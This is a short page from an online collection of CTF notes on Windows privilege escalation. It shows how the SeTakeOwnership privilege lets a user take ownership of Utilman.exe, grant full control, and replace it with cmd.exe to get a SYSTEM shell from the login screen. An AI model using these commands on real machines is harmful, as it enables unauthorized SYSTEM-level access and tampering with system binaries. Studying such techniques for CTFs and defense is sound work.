> For the complete documentation index, see [llms.txt](https://iptracej.gitbook.io/windows-linux-and-active-directory-ctf-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://iptracej.gitbook.io/windows-linux-and-active-directory-ctf-notes/windows-priv/token-abuse/setakeownership.md).

# SeTakeOwnership

The SeTakeOwnership privilege allows a user to take ownership of any object on the system, including files and registry keys, opening up many possibilities for an attacker to elevate privileges..

Assumption: RDP connection. 

1. Open a command prompt using the "Open as administrator" option.
2. Check the privilege - whoami /priv 
3. Run the commands. 

```bash
CMD> takeown /f C:\Windows\System32\Utilman.exe
CMD> icacls C:\Windows\System32\Utilman.exe /grant <username>:F
CMD> copy cmd.exe utilman.exe
```

4. Proceed to click on the "Ease of Access" button, which runs utilman.exe with SYSTEM privileges. Since we replaced it with a cmd.exe copy, we will get a command prompt with SYSTEM privileges:

<figure><img src="https://4082237222-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FnA4bAkddGXesk1QCLYAY%2Fuploads%2FJZZmsSpL26STH9N4mP5M%2Fimage.png?alt=media&amp;token=1db91b65-7df0-491e-b68a-69eecca10575" alt=""><figcaption></figcaption></figure>